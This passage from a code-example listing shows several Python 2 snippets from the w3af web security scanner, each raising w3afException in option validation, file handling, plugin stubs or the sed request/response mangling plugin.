     if method in self._proxy.methods.keys():
         return str(self._proxy.methods[method].namespace)
     else:
         raise w3afException('Unknown method name.')
Esempio n. 49
0
    def __init__(self, w3af, response_list, distance_function=LEVENSHTEIN,
                 custom_code=None):
        '''
        :param response_list: A list with the responses to graph.
        '''
        self.w3af = w3af
        w3afDotWindow.__init__(self)
        self.widget.connect('clicked', self.on_url_clicked)

        # Now I generate the dotcode based on the data
        if distance_function == LEVENSHTEIN:
            dotcode = self._generateDotCode(
                response_list, distance_function=self._relative_distance)
        
        elif distance_function == HTTP_RESPONSE:
            dotcode = self._generateDotCode(
                response_list, distance_function=self._http_code_distance)
        
        elif distance_function == CONTENT_LENGTH:
            dotcode = self._generateDotCode(response_list,
                                            distance_function=
                                            self._response_length_distance)
        
        elif distance_function == CUSTOM_FUNCTION:
            
            try:
                callable_object = self._create_callable_object(custom_code)
            except Exception, e:
                # TODO: instead of hiding..., which may consume memory...
                #       why don't killing?
                self.hide()
                msg = 'Please review your customized code. An error was raised'\
                      ' while compiling: "%s".' % e
                raise w3afException(msg)

            try:
                dotcode = self._generateDotCode(
                    response_list, distance_function=callable_object)
            except Exception, e:
                # TODO: instead of hiding..., which may consume memory... why don't killing?
                self.hide()
                msg = 'Please review your customized code. An error was raised on run time: "'
                msg += str(e) + '"'
                raise w3afException(msg)
Esempio n. 50
0
    def validate(self, value):
        parsed_list = super(URLListOption, self).validate(value)
        res = []

        for input_url in parsed_list:
            try:
                res.append(URL(input_url))
            except Exception, e:
                msg = 'Invalid URL configured by user, error: %s.' % e
                raise w3afException(msg)
Esempio n. 51
0
 def _read_ghdb(self):
     '''
     :return: Reads the ghdb.xml file and returns a list of GoogleHack
              objects.
     '''
     try:
         ghdb_fd = file(self._ghdb_file)
     except Exception, e:
         msg = 'Failed to open ghdb file: "%s", error: "%s".'
         raise w3afException(msg % (self._ghdb_file, e))
Esempio n. 52
0
 def remove(self):
     '''
     Removes the profile file which was used to create this instance.
     '''
     try:
         os.unlink(self._profile_file_name)
     except Exception, e:
         msg = 'An exception occurred while removing the profile. Exception:'
         msg += ' "%s".' % e
         raise w3afException(msg)
Esempio n. 53
0
    def end(self):
        '''
        This method is called when the proxy is not going to be used anymore. It should be used to remove the
        auxiliary files (local and remote) generated by the proxy.

        :return: None
        '''
        raise w3afException(
            'You should implement the end method of classes that inherit from "proxy"'
        )
Esempio n. 54
0
    def validate(self, value):
        if value.lower() == 'true':
            validated_value = True
        elif value.lower() == 'false':
            validated_value = False
        else:
            msg = 'Invalid boolean option value "%s".' % value
            raise w3afException(msg)

        return validated_value
Esempio n. 55
0
    def discover(self, fuzzable_request):
        '''
        This method MUST be implemented on every plugin.

        :param fuzzable_request: The target to use for infrastructure plugins.
        :return: None. These plugins should store information in the KB. Results
                 from this method will be ignored by the core.
        '''
        raise w3afException(
            'Plugin is not implementing required method discover')
Esempio n. 56
0
 def _init(self):
     '''
     Write messages to HTML file.
     '''
     if not self._initialized:
         self._initialized = True
         try:
             self._file = codecs.open(self._output_file_name, "w", "utf-8",
                                      'replace')
             #self._file = open( self._output_file_name, "w" )
         except IOError, io:
             msg = 'Can\'t open report file "%s" for writing: "%s"'
             msg = msg % (os.path.abspath(
                 self._output_file_name), io.strerror)
             raise w3afException(msg)
         except Exception, e:
             msg = 'Can\'t open report file "%s" for writing: "%s"'
             msg = msg % (os.path.abspath(self._output_file_name), e)
             raise w3afException(msg)
Esempio n. 57
0
File: sed.py Progetto: weisst/w3af
    def set_options(self, option_list):
        '''
        Sets the Options given on the OptionList to self. The options are the
        result of a user entering some data on a window that was constructed
        using the XML Options that was retrieved from the plugin using
        get_options()

        This method MUST be implemented on every plugin.

        :return: No value is returned.
        '''
        self._user_option_fix_content_len = option_list[
            'fix_content_len'].get_value()

        self._expressions = ','.join(option_list['expressions'].get_value())
        self._expressions = re.findall('([qs])([bh])/(.*?)/(.*?)/;?',
                                       self._expressions)

        if len(self._expressions) == 0 and len(option_list['expressions'].get_value()) != 0:
            raise w3afException('The user specified expression is invalid.')

        for exp in self._expressions:
            req_res, body_header, regex_str, target_str = exp
            
            if req_res not in ('q', 's'):
                msg = 'The first letter of the sed expression should be "q"'\
                      ' for indicating request or "s" for response, got "%s"'\
                      ' instead.'
                raise w3afException(msg % req_res)

            if body_header not in ('b', 'h'):
                msg = 'The second letter of the expression should be "b"'\
                      ' for body or "h" for header, got "%s" instead.'
                raise w3afException(msg % body_header)

            try:
                regex = re.compile(regex_str)
            except re.error, re_err:
                msg = 'Regular expression compilation error at "%s", the'\
                      ' original exception was "%s".'
                raise w3afException(msg % (regex_str, re_err))

            self._manglers[req_res][body_header].add((regex, target_str))